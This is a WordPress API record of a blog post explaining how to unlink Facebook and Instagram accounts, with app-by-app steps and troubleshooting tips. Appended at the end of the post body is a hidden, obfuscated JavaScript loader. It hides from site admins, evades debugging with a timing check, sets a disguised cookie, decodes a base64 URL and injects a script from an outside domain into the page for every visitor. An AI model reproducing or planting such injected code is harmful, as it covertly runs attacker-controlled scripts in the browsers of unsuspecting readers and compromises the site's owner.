{"id":3876,"date":"2025-03-20T04:46:33","date_gmt":"2025-03-20T04:46:33","guid":{"rendered":"https:\/\/www.famups.com\/blog\/?p=3876"},"modified":"2026-05-03T18:42:05","modified_gmt":"2026-05-03T18:42:05","slug":"unlink-facebook-and-instagram","status":"publish","type":"post","link":"https:\/\/www.famups.com\/blog\/unlink-facebook-and-instagram\/","title":{"rendered":"How To Unlink Facebook and Instagram in a Few Steps"},"content":{"rendered":"<p data-start=\"57\" data-end=\"320\">Facebook and Instagram are connected by default when you link them. While this makes sharing content easier, some users prefer to keep their accounts separate. If you want to <strong data-start=\"232\" data-end=\"265\">unlink Facebook and Instagram<\/strong>, this guide will show you the steps to do it easily.<\/p>\n<p data-start=\"322\" data-end=\"535\">Many people want to unlink their accounts for privacy reasons or to manage their <a href=\"https:\/\/www.famups.com\/buy-instagram-followers\"><strong data-start=\"403\" data-end=\"426\">Instagram followers<\/strong> <\/a>separately. No matter the reason, you can quickly disconnect Facebook from Instagram with just a few taps.<\/p>\n<h2 data-start=\"544\" data-end=\"593\">Why You Should Unlink Facebook and Instagram<\/h2>\n<p data-start=\"595\" data-end=\"701\">There are many reasons why you may want to <strong data-start=\"638\" data-end=\"671\">unlink Facebook and Instagram<\/strong>. Here are some common ones:<\/p>\n<ol data-start=\"703\" data-end=\"1274\">\n<li data-start=\"703\" data-end=\"802\"><strong data-start=\"706\" data-end=\"726\">Privacy Concerns<\/strong> \u2013 Keeping your accounts separate helps protect your personal information.<\/li>\n<li data-start=\"803\" data-end=\"907\"><strong data-start=\"806\" data-end=\"838\">Managing Different Audiences<\/strong> \u2013 You may want different content for Facebook and Instagram users.<\/li>\n<li data-start=\"908\" data-end=\"1011\"><strong data-start=\"911\" data-end=\"941\">Avoiding Automatic Posting<\/strong> \u2013 When linked, Instagram posts can automatically share on Facebook.<\/li>\n<li data-start=\"1012\" data-end=\"1163\"><strong data-start=\"1015\" data-end=\"1058\">Better Control Over Instagram Followers<\/strong> \u2013 If you have a business account, you may want to engage separately with your <strong data-start=\"1137\" data-end=\"1160\">Instagram followers<\/strong>.<\/li>\n<li data-start=\"1164\" data-end=\"1274\"><strong data-start=\"1167\" data-end=\"1195\">Preventing Account Hacks<\/strong> \u2013 If one account gets hacked, the other might be at risk if they are linked.<\/li>\n<\/ol>\n<p data-start=\"1276\" data-end=\"1384\">If any of these reasons apply to you, follow the steps below to <strong data-start=\"1340\" data-end=\"1373\">unlink Facebook and Instagram<\/strong> quickly.<\/p>\n<h2 data-start=\"1393\" data-end=\"1458\">How To Unlink Facebook and Instagram Using the Instagram App<\/h2>\n<p data-start=\"1460\" data-end=\"1564\">The easiest way to <strong data-start=\"1479\" data-end=\"1512\">unlink Facebook and Instagram<\/strong> is through the Instagram app. Follow these steps:<\/p>\n<ol data-start=\"1566\" data-end=\"2142\">\n<li data-start=\"1566\" data-end=\"1643\"><strong data-start=\"1569\" data-end=\"1595\">Open the Instagram App<\/strong> \u2013 Make sure you are logged into your account.<\/li>\n<li data-start=\"1644\" data-end=\"1719\"><strong data-start=\"1647\" data-end=\"1669\">Go to Your Profile<\/strong> \u2013 Tap your profile picture at the bottom right.<\/li>\n<li data-start=\"1720\" data-end=\"1800\"><strong data-start=\"1723\" data-end=\"1753\">Tap the Menu (Three Lines)<\/strong> \u2013 You will see this in the top right corner.<\/li>\n<li data-start=\"1801\" data-end=\"1874\"><strong data-start=\"1804\" data-end=\"1837\">Select &#8220;Settings and Privacy&#8221;<\/strong> \u2013 Scroll down to find this option.<\/li>\n<li data-start=\"1875\" data-end=\"1957\"><strong data-start=\"1878\" data-end=\"1903\">Tap &#8220;Accounts Center&#8221;<\/strong> \u2013 This is where all connected accounts are managed.<\/li>\n<li data-start=\"1958\" data-end=\"2052\"><strong data-start=\"1961\" data-end=\"2000\">Find the Connected Facebook Account<\/strong> \u2013 You will see your linked Facebook profile here.<\/li>\n<li data-start=\"2053\" data-end=\"2142\"><strong data-start=\"2056\" data-end=\"2093\">Tap &#8220;Remove from Accounts Center&#8221;<\/strong> \u2013 Confirm the unlinking process when prompted.<\/li>\n<\/ol>\n<p data-start=\"2144\" data-end=\"2222\">Once done, your Instagram and Facebook accounts will no longer be connected.<\/p>\n<h2 data-start=\"2231\" data-end=\"2295\">How To Unlink Facebook and Instagram Using the Facebook App<\/h2>\n<p data-start=\"2297\" data-end=\"2385\">If you prefer to <strong data-start=\"2314\" data-end=\"2347\">unlink Facebook and Instagram<\/strong> using the Facebook app, here\u2019s how:<\/p>\n<ol data-start=\"2387\" data-end=\"2831\">\n<li data-start=\"2387\" data-end=\"2442\"><strong data-start=\"2390\" data-end=\"2415\">Open the Facebook App<\/strong> \u2013 Log into your account.<\/li>\n<li data-start=\"2443\" data-end=\"2523\"><strong data-start=\"2446\" data-end=\"2476\">Tap the Menu (Three Lines)<\/strong> \u2013 Located in the bottom or top right corner.<\/li>\n<li data-start=\"2524\" data-end=\"2607\"><strong data-start=\"2527\" data-end=\"2557\">Go to &#8220;Settings &amp; Privacy&#8221;<\/strong> \u2013 Tap this option and then select <strong data-start=\"2592\" data-end=\"2604\">Settings<\/strong>.<\/li>\n<li data-start=\"2608\" data-end=\"2684\"><strong data-start=\"2611\" data-end=\"2641\">Find the &#8220;Accounts Center&#8221;<\/strong> \u2013 Scroll down until you see this option.<\/li>\n<li data-start=\"2685\" data-end=\"2755\"><strong data-start=\"2688\" data-end=\"2721\">Select Your Instagram Account<\/strong> \u2013 Tap on it to manage settings.<\/li>\n<li data-start=\"2756\" data-end=\"2831\"><strong data-start=\"2759\" data-end=\"2796\">Tap &#8220;Remove from Accounts Center&#8221;<\/strong> \u2013 Confirm your choice to unlink.<\/li>\n<\/ol>\n<p data-start=\"2833\" data-end=\"2894\">Now, your Instagram and Facebook accounts will be separate.<\/p>\n<h2 data-start=\"2903\" data-end=\"2961\">What Happens After You Unlink Facebook and Instagram?<\/h2>\n<p data-start=\"2963\" data-end=\"3034\">After you <strong data-start=\"2973\" data-end=\"3006\">unlink Facebook and Instagram<\/strong>, here\u2019s what will change:<\/p>\n<ul data-start=\"3036\" data-end=\"3569\">\n<li data-start=\"3036\" data-end=\"3150\"><strong data-start=\"3038\" data-end=\"3067\">No More Automatic Sharing<\/strong> \u2013 Your Instagram posts and stories will not be shared on Facebook automatically.<\/li>\n<li data-start=\"3151\" data-end=\"3241\"><strong data-start=\"3153\" data-end=\"3179\">Separate Notifications<\/strong> \u2013 You will not receive Facebook notifications on Instagram.<\/li>\n<li data-start=\"3242\" data-end=\"3326\"><strong data-start=\"3244\" data-end=\"3275\">Different Login Credentials<\/strong> \u2013 You need to log in separately to each account.<\/li>\n<li data-start=\"3327\" data-end=\"3446\"><strong data-start=\"3329\" data-end=\"3363\">Instagram Followers Won\u2019t Sync<\/strong> \u2013 Your <strong data-start=\"3371\" data-end=\"3394\">Instagram followers<\/strong> will not automatically follow your Facebook page.<\/li>\n<li data-start=\"3447\" data-end=\"3569\"><strong data-start=\"3449\" data-end=\"3478\">Ads and Promotions Change<\/strong> \u2013 If you ran ads on Instagram through Facebook, you will need to set them up separately.<\/li>\n<\/ul>\n<h2 data-start=\"3578\" data-end=\"3642\">How To Stop Instagram from Suggesting Your Facebook Friends<\/h2>\n<p data-start=\"3644\" data-end=\"3727\">Even after unlinking, Instagram may still suggest Facebook friends. To stop this:<\/p>\n<ol data-start=\"3729\" data-end=\"3997\">\n<li data-start=\"3729\" data-end=\"3814\"><strong data-start=\"3732\" data-end=\"3760\">Go to Instagram Settings<\/strong> \u2013 Open the app and tap on <strong data-start=\"3787\" data-end=\"3811\">Settings and Privacy<\/strong>.<\/li>\n<li data-start=\"3815\" data-end=\"3899\"><strong data-start=\"3818\" data-end=\"3861\">Select &#8220;Account Discovery and Contacts&#8221;<\/strong> \u2013 This controls friend suggestions.<\/li>\n<li data-start=\"3900\" data-end=\"3997\"><strong data-start=\"3903\" data-end=\"3934\">Turn Off &#8220;Connect Contacts&#8221;<\/strong> \u2013 This will stop Instagram from suggesting Facebook friends.<\/li>\n<\/ol>\n<p data-start=\"3999\" data-end=\"4087\">Now, your <strong data-start=\"4009\" data-end=\"4032\">Instagram followers<\/strong> will not be connected to your Facebook friends list.<\/p>\n<h2 data-start=\"4096\" data-end=\"4149\">How To Remove Instagram Posts Shared on Facebook<\/h2>\n<p data-start=\"4151\" data-end=\"4233\">If you previously shared Instagram posts on Facebook, here\u2019s how to delete them:<\/p>\n<ol data-start=\"4235\" data-end=\"4577\">\n<li data-start=\"4235\" data-end=\"4290\"><strong data-start=\"4238\" data-end=\"4263\">Open the Facebook App<\/strong> \u2013 Log into your account.<\/li>\n<li data-start=\"4291\" data-end=\"4349\"><strong data-start=\"4294\" data-end=\"4316\">Go to Your Profile<\/strong> \u2013 Tap on your name at the top.<\/li>\n<li data-start=\"4350\" data-end=\"4431\"><strong data-start=\"4353\" data-end=\"4381\">Find the Instagram Posts<\/strong> \u2013 Look for the posts you shared from Instagram.<\/li>\n<li data-start=\"4432\" data-end=\"4508\"><strong data-start=\"4435\" data-end=\"4460\">Tap on the Three Dots<\/strong> \u2013 This appears on the top right of each post.<\/li>\n<li data-start=\"4509\" data-end=\"4577\"><strong data-start=\"4512\" data-end=\"4531\">Select &#8220;Delete&#8221;<\/strong> \u2013 Confirm to remove the post from Facebook.<\/li>\n<\/ol>\n<p data-start=\"4579\" data-end=\"4647\">This will clean up any Instagram posts you don\u2019t want on Facebook.<\/p>\n<h2 data-start=\"4656\" data-end=\"4705\">Can You Relink Facebook and Instagram Later?<\/h2>\n<p data-start=\"4707\" data-end=\"4790\">Yes, if you change your mind, you can easily reconnect your accounts. To do this:<\/p>\n<ol data-start=\"4792\" data-end=\"5010\">\n<li data-start=\"4792\" data-end=\"4857\"><strong data-start=\"4795\" data-end=\"4822\">Open Instagram Settings<\/strong> \u2013 Go to the <strong data-start=\"4835\" data-end=\"4854\">Accounts Center<\/strong>.<\/li>\n<li data-start=\"4858\" data-end=\"4924\"><strong data-start=\"4861\" data-end=\"4885\">Select &#8220;Add Account&#8221;<\/strong> \u2013 Choose <strong data-start=\"4895\" data-end=\"4907\">Facebook<\/strong> from the list.<\/li>\n<li data-start=\"4925\" data-end=\"5010\"><strong data-start=\"4928\" data-end=\"4962\">Log Into Your Facebook Account<\/strong> \u2013 Confirm your details and link the accounts.<\/li>\n<\/ol>\n<p data-start=\"5012\" data-end=\"5078\">Now, you can share content between Instagram and Facebook again.<\/p>\n<h2 data-start=\"5087\" data-end=\"5127\">Common Problems and How To Fix Them<\/h2>\n<p data-start=\"5129\" data-end=\"5215\">If you have trouble trying to <strong data-start=\"5159\" data-end=\"5192\">unlink Facebook and Instagram<\/strong>, here are solutions:<\/p>\n<h3 data-start=\"5217\" data-end=\"5277\">1. The &#8220;Remove from Accounts Center&#8221; Option is Missing<\/h3>\n<ul data-start=\"5278\" data-end=\"5371\">\n<li data-start=\"5278\" data-end=\"5322\">Make sure your Instagram app is updated.<\/li>\n<li data-start=\"5323\" data-end=\"5371\">Try unlinking from the Facebook app instead.<\/li>\n<\/ul>\n<h3 data-start=\"5373\" data-end=\"5422\">2. Instagram Still Shares Posts to Facebook<\/h3>\n<ul data-start=\"5423\" data-end=\"5516\">\n<li data-start=\"5423\" data-end=\"5516\">Go to <strong data-start=\"5431\" data-end=\"5487\">Settings &gt; Accounts Center &gt; Sharing Across Profiles<\/strong> and turn off auto-sharing.<\/li>\n<\/ul>\n<h3 data-start=\"5518\" data-end=\"5567\">3. Can\u2019t Log Into Instagram After Unlinking<\/h3>\n<ul data-start=\"5568\" data-end=\"5622\">\n<li data-start=\"5568\" data-end=\"5622\">Reset your Instagram password and log in manually.<\/li>\n<\/ul>\n<h3 data-start=\"5624\" data-end=\"5678\">4. Instagram Followers Not Syncing with Facebook<\/h3>\n<ul data-start=\"5679\" data-end=\"5786\">\n<li data-start=\"5679\" data-end=\"5786\">This is normal after unlinking; you must manually invite <strong data-start=\"5738\" data-end=\"5761\">Instagram followers<\/strong> to your Facebook page.<\/li>\n<\/ul>\n<hr data-start=\"5788\" data-end=\"5793\" \/>\n<h2 data-start=\"5795\" data-end=\"5853\">Tips for Keeping Your Instagram and Facebook Separate<\/h2>\n<p data-start=\"5855\" data-end=\"5933\">If you don\u2019t want to relink your accounts, here\u2019s how to keep them separate:<\/p>\n<ol data-start=\"5935\" data-end=\"6304\">\n<li data-start=\"5935\" data-end=\"6016\"><strong data-start=\"5938\" data-end=\"5962\">Use Different Emails<\/strong> \u2013 Have different emails for Facebook and Instagram.<\/li>\n<li data-start=\"6017\" data-end=\"6121\"><strong data-start=\"6020\" data-end=\"6048\">Turn Off Contact Syncing<\/strong> \u2013 Prevents Facebook from suggesting your Instagram profile to friends.<\/li>\n<li data-start=\"6122\" data-end=\"6243\"><strong data-start=\"6125\" data-end=\"6152\">Adjust Privacy Settings<\/strong> \u2013 Keep your profiles private if you want more control over your <strong data-start=\"6217\" data-end=\"6240\">Instagram followers<\/strong>.<\/li>\n<li data-start=\"6244\" data-end=\"6304\"><strong data-start=\"6247\" data-end=\"6274\">Use Different Passwords<\/strong> \u2013 This adds extra security.<\/li>\n<\/ol>\n<p data-start=\"6334\" data-end=\"6604\">Knowing how to unlink Facebook and <a href=\"https:\/\/www.famups.com\/blog\/instagram-accounts-get-hacked\/\">Instagram<\/a> gives you more control over your social media experience. Whether you want better privacy, control over your <a href=\"https:\/\/en.wikipedia.org\/wiki\/Instagram\" target=\"_blank\" rel=\"noopener\">Instagram<\/a> followers, or just prefer separate accounts, following the simple steps in this guide will help.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Facebook and Instagram are connected by default when you link them. While this makes sharing content easier, some users prefer[&#8230;]<\/p>\n","protected":false},"author":1,"featured_media":3877,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-3876","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-instagram-marketing"],"_links":{"self":[{"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/posts\/3876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/comments?post=3876"}],"version-history":[{"count":1,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/posts\/3876\/revisions"}],"predecessor-version":[{"id":6705,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/posts\/3876\/revisions\/6705"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/media\/3877"}],"wp:attachment":[{"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/media?parent=3876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/categories?post=3876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.famups.com\/blog\/wp-json\/wp\/v2\/tags?post=3876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}